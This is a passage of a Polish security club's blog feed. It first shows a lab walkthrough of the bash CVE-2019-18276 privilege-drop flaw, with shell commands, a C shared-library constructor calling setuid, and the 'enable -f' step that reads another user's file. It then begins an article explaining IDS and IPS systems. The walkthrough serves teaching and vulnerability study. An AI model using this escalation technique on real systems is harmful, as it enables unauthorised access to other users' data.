&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~Downloads/bash-4.4-rc1$ ./configure
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~Downloads/bash-4.4-rc1$ make
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~Downloads/bash-4.4-rc1$ make install
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Od tej pory uruchamiając plik binarny powłoki z tego folderu, uruchomimy interpreter &lt;em>basha&lt;/em> 4.4.
Pamiętając, że podatność da się wykorzystać tylko na użytkownikach, którzy nie są &lt;em>rootem&lt;/em>, należy stworzyć nowego użytkownika:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ sudo adduser john
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Widać, że właścicielem &lt;em>basha&lt;/em> jest standardowy użytkownik:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~/Downloads/bash-4.4-rc1$ ls -lah ./bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rwxr-xr-x 1 kali kali 5.0M Mar 17 06:52 ./bash
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Należy zmienić właściciela pliku oraz ustawić flagę SUID:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ sudo chown john:john /home/kali/Downloads/bash-4.4-rc1/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ sudo chmod u+s /home/kali/Downloads/bash-4.4-rc1/bash
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Uruchomienie powinno sprawić (przez obecność flagi SUID), że uruchomi się ona z uprawnieniami właściciela. Z uwagi na mechanizm porzucania uprawnień tak jednak się nie dzieje (euid=1000):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~/Downloads/bash-4.4-rc1$ ./bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ id
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Stwórzmy więc plik tekstowy jako john i odbierzmy innym możliwość odczytywania pliku:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ sudo su john
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">john@kali:/home/kali$ cd
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">john@kali:~$ echo &amp;#34;What you see is what you get&amp;#34; &amp;gt; VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">john@kali:~$ chmod o-r VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">john@kali:~$ ls -lah VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">-rw-r----- 1 john john 29 Mar 17 07:11 VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Standardowy użytkownik nie może odczytać teraz pliku johna:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ cat /home/john/VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">cat: /home/john/VerySecretFile: Permission denied
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Pora na właściwy exploit. Jeżeli wewnątrz basha wykonany zostanie kod, który użyje wywołania systemowego &lt;em>setuid()&lt;/em> zmieniając euid na to, które przypisane jest johnowi, to powinno dać się odczytać jego plik. Ale jak to zrobić?
Z pomocą przychodzi program &lt;em>enable&lt;/em>. Stosuje się go w celu aktywowania i dezaktywowania wbudowanych w powłokę poleceń. Ma jeszcze jedną możliwość - przy fladze &lt;em>-f&lt;/em> uruchamia zadaną bibliotekę współdzieloną i próbuje odczytać z niej nazwę nowego polecenia wbudowanego&lt;/p>
&lt;p>Programy wbudowane w &lt;em>basha&lt;/em> (ang. &lt;em>builtins&lt;/em>) to takie, które są wewnętrzną i integralną częścią powłoki. Każde z tych poleceń jest bezpośrednio wykonywane w powłoce w przeciwieństwie do całej reszty programów, które najpierw muszą zostać przez powłoke załadowane, nim będzie można je uruchomić. Z łatwością można sprawdzić, które polecenia są wbudowane, a które nie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~/Desktop$ type -f cd
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">cd is a shell builtin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~/Desktop$ type -f head
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">head is /usr/bin/head
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Biblioteka to plik, który nie może być osobnym programem, a jest jedynie zbiorem zasobów i procedur, z których mogą korzystać pliki wykonywalne. &lt;em>Shared Object File&lt;/em> natomiast jest takim rodzajem biblioteki, która jest automatycznie dołączana na etapie tzw. linkowania. W przeciwieństwie do bibliotek łączonych dynamicznie (ang. &lt;em>dynamic-link libraries - DLL&lt;/em>) &lt;em>Shared Object File&lt;/em> musi być obecna na etapie kompilacji.&lt;/p>
&lt;p>W kilku linijkach można zawrzeć kod, który doprowadzi do zmiany uid. Aby to zrobić należy załączyć niezbędne biblioteki oraz stworzyć konstruktor, w którym użyte zostanie polecenie &lt;em>setuid&lt;/em> do ustawienia uid na wartość &lt;em>uid&lt;/em> Johna, które jest równe 1002:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;sys/types.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="kt">void&lt;/span> &lt;span class="nf">__attribute__&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">constructor&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="nf">initLibrary&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">setuid&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1002&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Potem należy skompilować kod do pliku obiektowego oraz pliku współdzielonego obiektu (ang. &lt;em>shared object file&lt;/em>):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ gcc -c -fPIC lib.c -o lib.o
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ gcc -shared -fPIC lib.o -o liboflibs.so
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Widać raz jeszcze, że po uruchomieniu powłoki, standardowy użytkownik nie jest w stanie odczytać pliku johna, gdyż &lt;em>bash&lt;/em> porzucił uprawnienia:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">kali@kali:~$ ./Downloads/bash-4.4-rc1/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ cat /home/john/VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">cat: /home/john/VerySecretFile: Permission denied
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ id
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po załadowaniu biblioteki współdzielonej następuje błąd, gdyż nie wszystko zostało zaimplementowane. To jednak nie ma znaczenia, ponieważ interesujące polecenie &lt;em>setuid(1002)&lt;/em> zostało wykonane w konstruktorze, co pozwala na odczytanie Bardzo Sekretnego Pliku Johna.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ enable -f ./liboflibs.so asd
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash: enable: cannot find asd_struct in shared object ./liboflibs.so: ./liboflibs.so: undefined symbol: asd_struct
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ id
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">uid=1000(kali) gid=1000(kali) euid=1002(john) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$ cat /home/john/VerySecretFile
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">What you see is what you get
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">bash-4.4$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h1>Podsumowanie&lt;/h1>&lt;p>Podatność CVE-2019-18276 jest już załatana, co nie oznacza, że analiza jej mechaniki jest pozbawiona sensu. Mechanizmy sterowania uprawnieniami od lat są źródłem kłopotów w systemach operacyjnych, co pozwala nam z dużą dozą prawdopodobieństwa założyć, że w przyszłości spotkamy się z kolejnymi CVE w tym temacie.&lt;/p></description></item><item><title>Kompendium wiedzy - IDS i IPS</title><link>https://whitehats.pwr.edu.pl/blog/2020-04-08-kompendium-ids-ips/</link><pubDate>Wed, 08 Apr 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-04-08-kompendium-ids-ips/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2020-04-08-kompendium-ids-ips/header_hu_8324c5c36d71a856.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Obecnie żyjemy w czasach, w których ataki systemowe na systemy są codziennością. Według danych z F-Secure szacuje się, że w samej Polsce, dochodzi do ok. 700 ataków na godzinę. Dane osobiste czy firmowe są narażone na kradzież jak nigdy dotąd. Informowanie o zagrożeniach oraz zasadach postępowania przestało być wystarczające. Oprócz wiedzy ogólnie dostępnej, która potrafi być ulotna, należy podjąć niezbędne czynności mające na celu uzbrojenie się w dodatkowe zabezpieczenia.&lt;/p>
&lt;p>Na rynku istnieje wiele rozwiązań poprawiających nasze bezpieczeństwo. Są to m. in. antywirusy lub etui RFID . Zabezpieczenia te chronią użytkownika przez zagrożeniami cybernetycznymi. Jednakże wektor ataku może być również skierowany w cały system, infrastrukturę teleinformatyczną, serwery. O ich bezpieczeństwo można zadbać stosując systemy takie jak IDS oraz IPS. W dzisiejszym artykule postaram się przybliżyć zasady funkcjonowania wraz z istniejącymi różnicami, jakie występują w wyżej wymienionych systemach.&lt;/p>
&lt;h2>IDS w pigułce&lt;span class="hx:absolute hx:-mt-20" id="ids-w-pigułce">&lt;/span>
&lt;a href="#ids-w-pigu%c5%82ce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zacznijmy w takim razie od początku.&lt;/p>
&lt;p>&lt;strong>IDS&lt;/strong> (skr. System Wykrywania Intruzów, ang. &lt;em>Intrusion Detection System&lt;/em>) jest to system, którego zadaniem jest monitorowanie ruchu sieciowego pod kątem podejrzanych aktywności. Zazwyczaj występuje w postaci aplikacji, która skanuje sieć lub system poszukując nietypowego zachowania, bądź przekraczania uprawnień użytkowników lub plików. Każdy taki incydent jest niezwłocznie zgłaszany do administratora systemu lub jest zbierany w sposób scentralizowany za pomocą systemu zarządzania informacjami i zdarzeniami bezpieczeństwa (ang. &lt;em>Security information and event management&lt;/em>, &lt;strong>SIEM&lt;/strong>). SIEM zbiera wszystkie informacje z wielu źródeł, by odróżnić groźną aktywność od alarmów typu false positive.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>false positive&lt;/strong> - zdarzenie, które uznajemy za prawdziwe, mimo że jest fałszywe. Przykładem mogłaby być sytuacja, w której lekarz mówi do otyłego mężczyzny, że jest w ciąży.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&lt;strong>false negative&lt;/strong> - zdarzenie, które uznajemy za fałszywe, mimo że jest poprawne. Przykładem mogłaby być sytuacja, w której lekarz, mówi do kobiety w ciąży, że nie jest w ciąży.&lt;/p>
&lt;/blockquote>
&lt;p>System wykrywania intruzów możemy porównać do działania systemu chroniącego dom przed napaścią. Podczas włamania, nie zatrzyma on złodziei, lecz włączy alarm, wyśle stosowne ostrzeżenia do domowników, ochrony lub policji. Tak samo podczas włamania do sieci, po wykryciu ataku system wykrywania intruzów uruchomi wyśle ostrzeżenia do administratora lub do SIEM’u. Zazwyczaj jest on stosowany razem z firewall’ami, ale nie wolno mylić tych pojęć – &lt;strong>zapory sieciowe&lt;/strong> służą wyłącznie do ochrony systemu przed niepowołanymi osobami. Można to porównać do ochrony stojącej przed budynkiem. Firewall pełniłby funkcję bramkarza, który wpuszcza do budynku uprawnione osoby. IDS natomiast byłby ochroniarzem, który chodzi po sali i wyszukuje osoby na podstawie tego jak wyglądają, a następnie sprawdzał, czy mogą one przebywać w budynku.&lt;/p>
&lt;p>IDS-y są wykorzystywane do uzupełnienia całości dobrze zorganizowanego systemu bezpieczeństwa, na który powinny również składać się:&lt;/p>
&lt;ul>
&lt;li>polityka bezpieczeństwa,&lt;/li>
&lt;li>szyfrowanie danych,&lt;/li>
&lt;li>weryfikacja użytkowników,&lt;/li>
&lt;li>kontrola dostępu,&lt;/li>
&lt;li>zapory sieciowe.&lt;/li>
&lt;/ul>
&lt;h2>Rodzaje IDS&lt;span class="hx:absolute hx:-mt-20" id="rodzaje-ids">&lt;/span>
&lt;a href="#rodzaje-ids" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>IDS możemy podzielić na dwa główne rodzaje - &lt;em>NIDS&lt;/em> i &lt;em>HIDS&lt;/em>.&lt;/p>
